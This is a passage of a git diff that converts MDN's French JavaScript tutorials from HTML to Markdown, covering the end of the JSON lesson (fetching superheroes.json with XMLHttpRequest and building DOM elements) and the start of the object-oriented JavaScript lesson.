source](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/JSONTest.html)). Essayez de le charger et d'accéder aux données en utilisant la console Javascript de votre navigateur. -<h3 id="Des_tableaux_en_tant_que_JSON">Des tableaux en tant que JSON</h3> +### Des tableaux en tant que JSON -<p>Un peu plus haut, nous avons dit qu'un objet JSON n'était ni plus ni moins qu'un objet Javascript tout à fait normal et c'est généralement le cas. La raison pour laquelle nous avons dit "généralement le cas" est qu'un tableau peut également être un objet JSON valide, par exemple :</p> +Un peu plus haut, nous avons dit qu'un objet JSON n'était ni plus ni moins qu'un objet Javascript tout à fait normal et c'est généralement le cas. La raison pour laquelle nous avons dit "généralement le cas" est qu'un tableau peut également être un objet JSON valide, par exemple : -<pre class="brush: json">[ +```json +[ { "name": "Molecule Man", "age": 29, @@ -135,88 +146,102 @@ superHeroes['active']</pre> "Superhuman reflexes" ] } -]</pre> +] +``` -<p>Le code ci dessus est une notation JSON parfaitement valide. Vous n'aurez qu'à accéder aux éléments de votre tableau en commençant avec un index, par exemple : <code>[0]["powers"][0]</code>.</p> +Le code ci dessus est une notation JSON parfaitement valide. Vous n'aurez qu'à accéder aux éléments de votre tableau en commençant avec un index, par exemple : `[0]["powers"][0]`. -<h3 id="Notes_diverses">Notes diverses</h3> +### Notes diverses -<ul> - <li>Un objet JSON est uniquement un format de données — il ne contient que des propriétés mais pas de méthodes.</li> - <li>La notation JSON nécessite l'usage des guillemets pour être valide. Il est obligatoire d'utiliser des guillemets et non les apostrophes autour des chaînes de caractères et des noms de propriétés.</li> - <li>Une simple virgule ou un double point mal placé peut rendre votre fichier JSON invalide et non fonctionnel. Soyez très attentif aux données que vous utilisez (bien que le JSON généré automatiquement par un programme sera moins enclin à contenir des erreurs, à partir du moment où le programme est codé correctement). Vous pouvez utiliser une application comme <a href="http://jsonlint.com/">JSONLint</a> pour valider votre code JSON.</li> - <li>Dans l'absolu, le JSON peut prendre la forme de n'importe quel type de données qui serait valide pour être contenu dans du JSON et non juste des tableaux ou des objets. Ainsi, par exemple, une simple chaîne de caractères ou un nombre serait un objet JSON valide.</li> - <li>Contrairement au JavaScript dans lequel les propriétés (<em>keys</em>) non entourées de guillemets peuvent être utilisées, en JSON, seules les chaînes de caractères entourées de guillemets peuvent être utilisées en tant que propriétés.</li> -</ul> +- Un objet JSON est uniquement un format de données — il ne contient que des propriétés mais pas de méthodes. +- La notation JSON nécessite l'usage des guillemets pour être valide. Il est obligatoire d'utiliser des guillemets et non les apostrophes autour des chaînes de caractères et des noms de propriétés. +- Une simple virgule ou un double point mal placé peut rendre votre fichier JSON invalide et non fonctionnel. Soyez très attentif aux données que vous utilisez (bien que le JSON généré automatiquement par un programme sera moins enclin à contenir des erreurs, à partir du moment où le programme est codé correctement). Vous pouvez utiliser une application comme [JSONLint](http://jsonlint.com/) pour valider votre code JSON. +- Dans l'absolu, le JSON peut prendre la forme de n'importe quel type de données qui serait valide pour être contenu dans du JSON et non juste des tableaux ou des objets. Ainsi, par exemple, une simple chaîne de caractères ou un nombre serait un objet JSON valide. +- Contrairement au JavaScript dans lequel les propriétés (_keys_) non entourées de guillemets peuvent être utilisées, en JSON, seules les chaînes de caractères entourées de guillemets peuvent être utilisées en tant que propriétés. -<h2 id="Activité_Manipuler_le_JSON_au_travers_dun_exemple">Activité : Manipuler le JSON au travers d'un exemple</h2> +## Activité : Manipuler le JSON au travers d'un exemple -<p>Allez ! Un petit exemple pour voir comment nous pouvons nous servir de données JSON sur un site web.</p> +Allez ! Un petit exemple pour voir comment nous pouvons nous servir de données JSON sur un site web. -<h3 id="Lançons_nous">Lançons nous</h3> +### Lançons nous -<p>Pour commencer, faites une copie locale de nos fichiers <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes.html">heroes.html</a> et <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/style.css">style.css</a>. Le dernier contient simplement quelques instructions CSS pour la mise en forme de notre page alors que le premier n'est ni plus ni moins qu'un squelette HTML de base :</p> +Pour commencer, faites une copie locale de nos fichiers [heroes.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes.html) et [style.css](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/style.css). Le dernier contient simplement quelques instructions CSS pour la mise en forme de notre page alors que le premier n'est ni plus ni moins qu'un squelette HTML de base : -<pre class="brush: html"><header> -</header> +```html +<header> +</header> -<section> -</section></pre> +<section> +</section> +``` -<p>Nous trouvons également un élément {{HTMLElement("script")}} dans lequel nous écrirons le code Javascript de cet exercice. Pour le moment, il ne contient que deux lignes destinées à récuperer les éléments {{HTMLElement("header")}} et {{HTMLElement("section")}} pour les stocker dans des variables :</p> +Nous trouvons également un élément {{HTMLElement("script")}} dans lequel nous écrirons le code Javascript de cet exercice. Pour le moment, il ne contient que deux lignes destinées à récuperer les éléments {{HTMLElement("header")}} et {{HTMLElement("section")}} pour les stocker dans des variables : -<pre class="brush: js">var header = document.querySelector('header'); -var section = document.querySelector('section');</pre> +```js +var header = document.querySelector('header'); +var section = document.querySelector('section'); +``` -<p>Nos données JSON sont disponibles sur notre GitHub ici : <a href="https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json">https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json</a>.</p> +Nos données JSON sont disponibles sur notre GitHub ici : <https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json>. -<p>Nous souhaitons les récupérer et, après quelques manipulations du DOM, les afficher comme ceci :</p> +Nous souhaitons les récupérer et, après quelques manipulations du DOM, les afficher comme ceci : -<p><img alt="" src="json-superheroes.png"></p> + -<h3 id="Chargeons_notre_JSON">Chargeons notre JSON</h3> +### Chargeons notre JSON -<p>Pour charger nos données JSON, nous allons utiliser l'API {{domxref("XMLHttpRequest")}} (qu'on appelle plus couramment <strong>XHR</strong>). Il s'agit d'un objet JavaScript extrêmement utile qui nous permet de construire une requête afin d'interroger un serveur pour obtenir des ressources diverses (images, texte, JSON, ou n'importe quel extrait HTML) le tout en Javascript. En d'autres termes, cela nous permet de mettre à jour de petites sections de contenu sans avoir à recharger notre page toute entière. Ceci conduit à des pages web plus réactives. Mais même si le sujet est très tentant, il dépasse largement l'objet de cet article pour être expliqué plus en détails.</p> +Pour charger nos données JSON, nous allons utiliser l'API {{domxref("XMLHttpRequest")}} (qu'on appelle plus couramment **XHR**). Il s'agit d'un objet JavaScript extrêmement utile qui nous permet de construire une requête afin d'interroger un serveur pour obtenir des ressources diverses (images, texte, JSON, ou n'importe quel extrait HTML) le tout en Javascript. En d'autres termes, cela nous permet de mettre à jour de petites sections de contenu sans avoir à recharger notre page toute entière. Ceci conduit à des pages web plus réactives. Mais même si le sujet est très tentant, il dépasse largement l'objet de cet article pour être expliqué plus en détails. -<ol> - <li>Donc, pour commencer, nous allons charger l'URL du fichier JSON que nous voulons récupérer dans une variable. Aussi, ajouter la ligne suivante à votre code Javascript : - <pre class="brush: js">var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json';</pre> - </li> - <li>Afin de créer une requête, nous avons besoin d'instancier un nouvel objet <code>XMLHttpRequest</code> à partir de son constructeur en utilisant le mot clé new. Ajouter la ligne suivante à votre script : - <pre class="brush: js">var request = new XMLHttpRequest();</pre> - </li> - <li>Maintenant, nous avons besoin d'ouvrir une nouvelle requête grâce à la méthode <code><a href="/fr/docs/Web/API/XMLHttpRequest/open">open()</a></code>. Ajoutez la ligne suivante : - <pre class="brush: js">request.open('GET', requestURL);</pre> +1. Donc, pour commencer, nous allons charger l'URL du fichier JSON que nous voulons récupérer dans une variable. Aussi, ajouter la ligne suivante à votre code Javascript : - <p>Cette méthode prend au moins deux paramètres — il y a d'autres paramètres optionnels disponibles. Deux suffiront pour notre exemple :</p> + ```js + var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; + ``` - <ul> - <li>La méthode HTTP à utiliser sur le réseau pour notre requête. Dans notre cas, la méthode <code><a href="/fr/docs/Web/HTTP/Methods/GET">GET</a></code> est appropriée dans la mesure où nous voulons simplement récupérer quelques données.</li> - <li>L'URL où adresser notre requête — il s'agit de l'URL du fichier JSON dont nous parlions tout à l'heure.</li> - </ul> - </li> - <li>Ensuite, ajoutez les deux lignes suivantes — ici, nous attribuons la valeur <code>'json'</code><strong> </strong>à <code><a href="/fr/docs/Web/API/XMLHttpRequest/responseType">responseType</a></code>, signalant ainsi au serveur que nous attendons une réponse au format JSON. Puis, nous envoyons notre requête à l'aide de la méthode <code><a href="/fr/docs/Web/API/XMLHttpRequest/send">send()</a></code> : - <pre class="brush: js">request.responseType = 'json'; -request.send();</pre> - </li> - <li>La dernière partie de cette section concerne la réponse du serveur et son traitement. Ajoutez les lignes suivantes à la fin de votre code : - <pre class="brush: js">request.onload = function() { - var superHeroes = request.response; - populateHeader(superHeroes); - showHeroes(superHeroes); -}</pre> - </li> -</ol> +2. Afin de créer une requête, nous avons besoin d'instancier un nouvel objet `XMLHttpRequest` à partir de son constructeur en utilisant le mot clé new. Ajouter la ligne suivante à votre script : + + ```js + var request = new XMLHttpRequest(); + ``` + +3. Maintenant, nous avons besoin d'ouvrir une nouvelle requête grâce à la méthode [`open()`](/fr/docs/Web/API/XMLHttpRequest/open). Ajoutez la ligne suivante : + + ```js + request.open('GET', requestURL); + ``` + + Cette méthode prend au moins deux paramètres — il y a d'autres paramètres optionnels disponibles. Deux suffiront pour notre exemple : + + - La méthode HTTP à utiliser sur le réseau pour notre requête. Dans notre cas, la méthode [`GET`](/fr/docs/Web/HTTP/Methods/GET) est appropriée dans la mesure où nous voulons simplement récupérer quelques données. + - L'URL où adresser notre requête — il s'agit de l'URL du fichier JSON dont nous parlions tout à l'heure. + +4. Ensuite, ajoutez les deux lignes suivantes — ici, nous attribuons la valeur `'json'`\*\* \*\*à [`responseType`](/fr/docs/Web/API/XMLHttpRequest/responseType), signalant ainsi au serveur que nous attendons une réponse au format JSON. Puis, nous envoyons notre requête à l'aide de la méthode [`send()`](/fr/docs/Web/API/XMLHttpRequest/send) : + + ```js + request.responseType = 'json'; + request.send(); + ``` + +5. La dernière partie de cette section concerne la réponse du serveur et son traitement. Ajoutez les lignes suivantes à la fin de votre code : + + ```js + request.onload = function() { + var superHeroes = request.response; + populateHeader(superHeroes); + showHeroes(superHeroes); + } + ``` -<p>Ici, nous stockons la réponse à notre requête (disponible au travers de la propriété <code><a href="/fr/docs/Web/API/XMLHttpRequest/response">response</a></code>) dans la variable <code>superHeroes</code> ; cette variable contiendra désormais l'objet JavaScript basé sur le JSON ! Nous passerons ensuite cet objet en paramètre à deux fonctions — la première remplira le <<code>header></code> avec les données correspondantes tandis que la seconde créera une carte d'identité pour chaque héros de l'équipe et l'ajoutera dans la <code><section></code>.</p> +Ici, nous stockons la réponse à notre requête (disponible au travers de la propriété [`response`](/fr/docs/Web/API/XMLHttpRequest/response)) dans la variable `superHeroes` ; cette variable contiendra désormais l'objet JavaScript basé sur le JSON ! Nous passerons ensuite cet objet en paramètre à deux fonctions — la première remplira le <`header>` avec les données correspondantes tandis que la seconde créera une carte d'identité pour chaque héros de l'équipe et l'ajoutera dans la `<section>`. -<p>Nous avons encapsulé ce code dans un gestionnaire d'évènements qui s'exécutera quand l'évènement load sera déclenché sur l'objet request (voir <code><a href="/fr/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code>) — simplement parce que l'évènement load est déclenché quand une réponse a été renvoyée avec succès ; en procédant de la sorte, nous serons certains que la propriété <code>request.response</code> sera disponible au moment où nous essayerons d'en faire quelque chose.</p> +Nous avons encapsulé ce code dans un gestionnaire d'évènements qui s'exécutera quand l'évènement load sera déclenché sur l'objet request (voir [`onload`](/fr/docs/Web/API/XMLHttpRequestEventTarget/onload)) — simplement parce que l'évènement load est déclenché quand une réponse a été renvoyée avec succès ; en procédant de la sorte, nous serons certains que la propriété `request.response` sera disponible au moment où nous essayerons d'en faire quelque chose. -<h3 id="Remplissage_de_len-tête">Remplissage de l'en-tête</h3> +### Remplissage de l'en-tête -<p>Maintenant que nous avons récupéré et converti en objet JavaScript nos données JSON, il est temps d'en faire bon usage : implémentons donc les deux fonctions évoquées ci-dessus. Avant tout, ajoutons les lignes suivantes en dessous de notre code :</p> +Maintenant que nous avons récupéré et converti en objet JavaScript nos données JSON, il est temps d'en faire bon usage : implémentons donc les deux fonctions évoquées ci-dessus. Avant tout, ajoutons les lignes suivantes en dessous de notre code : -<pre class="brush: js">function populateHeader(jsonObj) { +```js +function populateHeader(jsonObj) { var myH1 = document.createElement('h1'); myH1.textContent = jsonObj['squadName']; header.appendChild(myH1); @@ -224,18 +249,20 @@ request.send();</pre> var myPara = document.createElement('p'); myPara.textContent = 'Hometown: ' + jsonObj['homeTown'] + jsonObj['formed']; header.appendChild(myPara); -}</pre> +} +``` -<p>Nous avons appelé le paramètre de cette fonction <code>jsonObj</code> afin de garder en tête que cet objet JavaScript provient du JSON. Ici, nous créons tout d'abord un élément {{HTMLElement("h1")}} à l'aide de <code><a href="/fr/docs/Web/API/Document/createElement">createElement()</a></code>, nous fixons son <code><a href="/fr/docs/Web/API/Node/textContent">textContent</a></code> à la valeur de la propriété <code>squadName</code> de l'objet, puis nous l'ajoutons à l'en-tête en utilisant <code><a href="/fr/docs/Web/API/Node/appendChild">appendChild()</a></code>. Ensuite, nous faisons quelque chose de relativement similaire avec un élément paragraphe : nous le créons, fixons son contenu et l'ajoutons à l'en-tête. La seule différence est que pour son contenu, nous avons concaténé la chaîne de caractère <code>homeTown</code> et la propriété <code>formed</code> de l'objet.</p> +Nous avons appelé le paramètre de cette fonction `jsonObj` afin de garder en tête que cet objet JavaScript provient du JSON. Ici, nous créons tout d'abord un élément {{HTMLElement("h1")}} à l'aide de [`createElement()`](/fr/docs/Web/API/Document/createElement), nous fixons son [`textContent`](/fr/docs/Web/API/Node/textContent) à la valeur de la propriété `squadName` de l'objet, puis nous l'ajoutons à l'en-tête en utilisant [`appendChild()`](/fr/docs/Web/API/Node/appendChild). Ensuite, nous faisons quelque chose de relativement similaire avec un élément paragraphe : nous le créons, fixons son contenu et l'ajoutons à l'en-tête. La seule différence est que pour son contenu, nous avons concaténé la chaîne de caractère `homeTown` et la propriété `formed` de l'objet. -<h3 id="Création_des_fiches_des_héros">Création des fiches des héros</h3> +### Création des fiches des héros -<p>Maintenant, ajoutons la fonction suivante qui crée et affiche les fiches de nos super-héros en dessous de notre code :</p> +Maintenant, ajoutons la fonction suivante qui crée et affiche les fiches de nos super-héros en dessous de notre code : -<pre class="brush: js">function showHeroes(jsonObj) { +```js +function showHeroes(jsonObj) { var heroes = jsonObj['members']; - for (var i = 0; i < heroes.length; i++) { + for (var i = 0; i < heroes.length; i++) { var myArticle = document.createElement('article'); var myH2 = document.createElement('h2'); var myPara1 = document.createElement('p'); @@ -249,7 +276,7 @@ request.send();</pre> myPara3.textContent = 'Superpowers:'; var superPowers = heroes[i].powers; - for (var j = 0; j < superPowers.length; j++) { + for (var j = 0; j < superPowers.length; j++) { var listItem = document.createElement('li'); listItem.textContent = superPowers[j]; myList.appendChild(listItem); @@ -263,45 +290,41 @@ request.send();</pre> section.appendChild(myArticle); } -}</pre> +} +``` -<p>Pour commencer, on stocke la propriété <code>members</code> de l'objet JavaScript dans une nouvelle variable. Ce tableau contient plusieurs objets contenant les informations relatives à chaque héros.</p> +Pour commencer, on stocke la propriété `members` de l'objet JavaScript dans une nouvelle variable. Ce tableau contient plusieurs objets contenant les informations relatives à chaque héros. -<p>Maintenant, on utilise une <a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Looping_code">boucle for</a> pour parcourir chaque object du tableau. Pour chaque cas, il faut :</p> +Maintenant, on utilise une [boucle for](/fr/docs/Apprendre/JavaScript/Building_blocks/Looping_code) pour parcourir chaque object du tableau. Pour chaque cas, il faut : -<ol> - <li>Créer plusieurs nouveaux éléments : un <code><article></code>, un <code><h2></code>, trois <code><p></code>s, et un <code><ul></code>.</li> - <li>Mettre le <code>name</code> du héros actuel dans le <code><h2></code>.</li> - <li>Remplir les trois paragraphes avec leur <code>secretIdentity</code>, leur <code>age</code>, et une ligne nommée "Superpowers:" pour présenter la liste des super-pouvoirs.</li> - <li>Stocker la propriété <code>powers</code> dans une nouvelle variable nommée <code>superPowers</code> contenant un tableau listant les super-pouvoirs du héros actuel.</li> - <li>Utiliser une autre boucle <code>for</code> pour parcourir les super-pouvoirs du héros actuel — créer pour chacun d'entre eux un élément <code><li></code>, y placer le super-pouvoir et placer le <code>listItem</code> dans l'élément <code><ul></code> (<code>myList</code>) en utilisant <code>appendChild()</code>.</li> - <li>Pour finir, on ajoute <code><h2></code>, les <code><p></code>s et <code><ul></code> à <code><article></code> (<code>myArticle</code>), et on ajoute <code><article></code> à <code><section></code>. L'ordre d'ajout est important, c'est l'ordre dans lequel les éléments seront affichés dans le HTML.</li> -</ol> +1. Créer plusieurs nouveaux éléments : un `<article>`, un `<h2>`, trois `<p>`s, et un `<ul>`. +2. Mettre le `name` du héros actuel dans le `<h2>`. +3. Remplir les trois paragraphes avec leur `secretIdentity`, leur `age`, et une ligne nommée "Superpowers:" pour présenter la liste des super-pouvoirs. +4. Stocker la propriété `powers` dans une nouvelle variable nommée `superPowers` contenant un tableau listant les super-pouvoirs du héros actuel. +5. Utiliser une autre boucle `for` pour parcourir les super-pouvoirs du héros actuel — créer pour chacun d'entre eux un élément `<li>`, y placer le super-pouvoir et placer le `listItem` dans l'élément `<ul>` (`myList`) en utilisant `appendChild()`. +6. Pour finir, on ajoute `<h2>`, les `<p>`s et `<ul>` à `<article>` (`myArticle`), et on ajoute `<article>` à `<section>`. L'ordre d'ajout est important, c'est l'ordre dans lequel les éléments seront affichés dans le HTML. -<div class="note"> -<p><strong>Note :</strong> Si vous ne parvenez pas à faire fonctionner l'exemple, consultez notre code source <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished.html">heroes-finished.html</a> (ou regardez-le <a href="http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished.html">en action</a>.)</p> -</div> +> **Note :** Si vous ne parvenez pas à faire fonctionner l'exemple, consultez notre code source [heroes-finished.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished.html) (ou regardez-le [en action](http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished.html).) -<div class="note"> -<p><strong>Note :</strong> Si vous comprenez difficilement la notation avec un point/une accolade utilisée pour accéder au JSON, ouvrez le fichier <a href="http://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json">superheroes.json</a> dans un nouvel onglet ou dans votre éditeur de texte et consultez-le pendant la lecture de notre code Javascript. Vous pouvez également vous reporter à notre article <a href="/fr/docs/Learn/JavaScript/Objects/Basics">Les bases du JavaScript orienté objet</a> pour obtenir plus de détails sur la notation avec un point et avec une accolade.</p> -</div> +> **Note :** Si vous comprenez difficilement la notation avec un point/une accolade utilisée pour accéder au JSON, ouvrez le fichier [superheroes.json](http://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json) dans un nouvel onglet ou dans votre éditeur de texte et consultez-le pendant la lecture de notre code Javascript. Vous pouvez également vous reporter à notre article [Les bases du JavaScript orienté objet](/fr/docs/Learn/JavaScript/Objects/Basics) pour obtenir plus de détails sur la notation avec un point et avec une accolade. -<h2 id="Conversion_entre_objets_et_textes">Conversion entre objets et textes</h2> +## Conversion entre objets et textes -<p>Dans l'exemple ci-dessus, accéder au JSON est simple, il suffit de définir la requête XHR pour renvoyer la réponse au format JSON en écrivant :</p> +Dans l'exemple ci-dessus, accéder au JSON est simple, il suffit de définir la requête XHR pour renvoyer la réponse au format JSON en écrivant : -<pre class="brush: js">request.responseType = 'json';</pre> +```js +request.responseType = 'json'; +``` -<p>Mais on n'a pas toujours cette chance — il est possible de recevoir la réponse JSON sous la forme d'une chaîne de caractères et il faut alors la convertir en objet. À l'inverse, lorsqu'on veut envoyer un objet JavaScript à travers le réseau il faut au préalable le convertir en JSON (une chaîne de caractères). Heureusement, ces deux problèmes sont tellement communs dans le développement web qu'un objet <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/JSON">JSON</a> interne a été ajouté aux navigateurs depuis longtemps, contenant les deux méthodes suivantes :</p> +Mais on n'a pas toujours cette chance — il est possible de recevoir la réponse JSON sous la forme d'une chaîne de caractères et il faut alors la convertir en objet. À l'inverse, lorsqu'on veut envoyer un objet JavaScript à travers le réseau il faut au préalable le convertir en JSON (une chaîne de caractères). Heureusement, ces deux problèmes sont tellement communs dans le développement web qu'un objet [JSON](/fr/docs/Web/JavaScript/Reference/Objets_globaux/JSON) interne a été ajouté aux navigateurs depuis longtemps, contenant les deux méthodes suivantes : -<ul> - <li><code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse">parse()</a></code> qui accepte un objet JSON sous la forme d'une chaîne de caractères en paramètre et renvoie l'objet JavaScript correspondant.</li> - <li><code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify">stringify()</a></code> qui accepte un objet JavaScript en paramètre et renvoie son équivalent sous la forme d'une chaîne de caractères JSON.</li> -</ul> +- [`parse()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse) qui accepte un objet JSON sous la forme d'une chaîne de caractères en paramètre et renvoie l'objet JavaScript correspondant. +- [`stringify()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) qui accepte un objet JavaScript en paramètre et renvoie son équivalent sous la forme d'une chaîne de caractères JSON. -<p>Vous pouvez voir la première méthode en action dans notre exemple <a href="http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished-json-parse.html">heroes-finished-json-parse.html</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished-json-parse.html">code source</a>) — C'est la même chose que pour l'exemple que nous avons écrit un peu plus tôt, à ceci près qu'on indique à la requête XHR de renvoyer la réponse en JSON sous forme de texte avant d'utiliser la méthode <code>parse()</code> pour la convertir en objet JavaScript. La partie du code correspondante se trouve ci-dessous :</p> +Vous pouvez voir la première méthode en action dans notre exemple [heroes-finished-json-parse.html](http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished-json-parse.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished-json-parse.html)) — C'est la même chose que pour l'exemple que nous avons écrit un peu plus tôt, à ceci près qu'on indique à la requête XHR de renvoyer la réponse en JSON sous forme de texte avant d'utiliser la méthode `parse()` pour la convertir en objet JavaScript. La partie du code correspondante se trouve ci-dessous : -<pre class="brush: js">request.open('GET', requestURL); +```js +request.open('GET', requestURL); request.responseType = 'text'; // now we're getting a string! request.send(); @@ -310,29 +333,30 @@ request.onload = function() { var superHeroes = JSON.parse(superHeroesText); // convert it to an object populateHeader(superHeroes); showHeroes(superHeroes); -}</pre> +} +``` -<p>Comme vous pouvez le deviner, <code>stringify()</code> fait exactement le contraire. Essayez d'entrer les lignes ci-dessous une par une dans la console Javascript de votre navigateur pour voir la méthode en action :</p> +Comme vous pouvez le deviner, `stringify()` fait exactement le contraire. Essayez d'entrer les lignes ci-dessous une par une dans la console Javascript de votre navigateur pour voir la méthode en action : -<pre class="brush: js">var myJSON = { "name": "Chris", "age": "38" }; +```js +var myJSON = { "name": "Chris", "age": "38" }; myJSON var myString = JSON.stringify(myJSON); -myString</pre> +myString +``` -<p>On commence par créer un objet JavaScript puis on vérifie son contenu avant de le convertir en chaîne de caractères JSON avec <code>stringify()</code> — en sauvegardant au passage le résultat dans une nouvelle variable avant d'effectuer à nouveau une vérification du contenu.</p> +On commence par créer un objet JavaScript puis on vérifie son contenu avant de le convertir en chaîne de caractères JSON avec `stringify()` — en sauvegardant au passage le résultat dans une nouvelle variable avant d'effectuer à nouveau une vérification du contenu. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Dans cet article, nous vous donnons un manuel simple pour utiliser le JSON dans vos programmes, incluant les méthodes de création et d'analyse syntaxique (parsage) du JSON et d'accès aux données qu'il contient. Dans le prochain article, nous débuterons l'apprentissage du Javascript orienté objet.</p> +Dans cet article, nous vous donnons un manuel simple pour utiliser le JSON dans vos programmes, incluant les méthodes de création et d'analyse syntaxique (parsage) du JSON et d'accès aux données qu'il contient. Dans le prochain article, nous débuterons l'apprentissage du Javascript orienté objet. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON">La page de référence sur l'objet JSON</a></li> - <li><a href="/fr/docs/Web/API/XMLHttpRequest">La page de référence sur l'objet XMLHttpRequest</a></li> - <li><a href="/fr/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Utiliser XMLHttpRequest</a></li> - <li><a href="/fr/docs/Web/HTTP/Methods">Les méthodes de requêtes HTTP </a></li> - <li><a href="http://json.org">Le site web officiel avec un lien vers les normes de l' ECMA</a></li> -</ul> +- [La page de référence sur l'objet JSON](/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON) +- [La page de référence sur l'objet XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest) +- [Utiliser XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest) +- [Les méthodes de requêtes HTTP ](/fr/docs/Web/HTTP/Methods) +- [Le site web officiel avec un lien vers les normes de l' ECMA](http://json.org) -<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</p> +{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}} diff --git a/files/fr/learn/javascript/objects/object-oriented_js/index.md b/files/fr/learn/javascript/objects/object-oriented_js/index.md index a264d9063b..be3d5ffacd 100644 --- a/files/fr/learn/javascript/objects/object-oriented_js/index.md +++ b/files/fr/learn/javascript/objects/object-oriented_js/index.md @@ -12,147 +12,166 @@ tags: translation_of: Learn/JavaScript/Objects/Object-oriented_JS original_slug: Learn/JavaScript/Objects/JS_orienté-objet --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}</div> - -<p>Après avoir parcouru les fondamentaux, nous allons aborder en détail le JavaScript orienté objet (JSOO). Cet article présente une approche simple de la programmation orientée objet (POO) et détaille comment JavaScript émule des classes objet au travers des méthodes constructeur et comment instancier ces objets.</p> +Après avoir parcouru les fondamentaux, nous allons aborder en détail le JavaScript orienté objet (JSOO). Cet article présente une approche simple de la programmation orientée objet (POO) et détaille comment JavaScript émule des classes objet au travers des méthodes constructeur et comment instancier ces objets. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Pré-requis :</th> - <td>Connaissances de base en informatique et compréhension des notions HTML et CSS, notions de JavaScript (voir <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas</a> et <a href="/fr/docs/Learn/JavaScript/Building_blocks">Blocs de construction</a>)</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre les concepts de base derrière la programmation orientée objet et comment ils s'appliquent à JavaScript ( « tout est objet » ) et comment créer des constructeurs et instancier des objets.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Pré-requis :</th> + <td> + Connaissances de base en informatique et compréhension des notions HTML + et CSS, notions de JavaScript (voir + <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas</a> et + <a href="/fr/docs/Learn/JavaScript/Building_blocks" + >Blocs de construction</a + >) + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre les concepts de base derrière la programmation orientée objet + et comment ils s'appliquent à JavaScript ( « tout est objet » ) et + comment créer des constructeurs et instancier des objets. + </td> + </tr> + </tbody> </table> -<h2 id="La_programmation_orientée_objet_de_loin">La programmation orientée objet de loin</h2> +## La programmation orientée objet de loin -<p>Pour commencer, donnons une vue simplifiée et de haut niveau de ce qu'est la programmation orientée objet (POO). On parle d'une vision simplifiée étant donnée que la POO peut devenir très vite complexe et qu'être exhaustif rendrait probablement la découverte plus confuse et difficile qu'autre chose. L'idée de base de la POO consiste à utiliser des objets pour modéliser les objets du monde réel que l'on souhaite représenter dans nos programmes et/ou de fournir un moyen simple d'accéder à une fonctionnalité qu'il serait difficile d'utiliser autrement.</p> +Pour commencer, donnons une vue simplifiée et de haut niveau de ce qu'est la programmation orientée objet (POO). On parle d'une vision simplifiée étant donnée que la POO peut devenir très vite complexe et qu'être exhaustif rendrait probablement la découverte plus confuse et difficile qu'autre chose. L'idée de base de la POO consiste à utiliser des objets pour modéliser les objets du monde réel que l'on souhaite représenter dans nos programmes et/ou de fournir un moyen simple d'accéder à une fonctionnalité qu'il serait difficile d'utiliser autrement. -<p>Les objets peuvent contenir des données et du code représentant de l'information au sujet de la chose que l'on essaie de modéliser ainsi que des fonctionnalités ou un comportement que l'on souhaite lui appliquer. Les données (et bien souvent les fonctions) associées à un objet peuvent être stockées (le terme officiel est <strong>encapsulé</strong>) à l'intérieur d'un paquet objet. Il est possible de donner un nom spécifique à un paquet objet afin d'y faire référence, on parle alors d'<strong>espace de noms</strong> ou <em>namespace</em>, il sera ainsi plus facile de le manipuler et d'y accéder. Les objets peuvent aussi servir pour stocker des données et les transférer facilement sur un réseau.</p> +Les objets peuvent contenir des données et du code représentant de l'information au sujet de la chose que l'on essaie de modéliser ainsi que des fonctionnalités ou un comportement que l'on souhaite lui appliquer. Les données (et bien souvent les fonctions) associées à un objet peuvent être stockées (le terme officiel est **encapsulé**) à l'intérieur 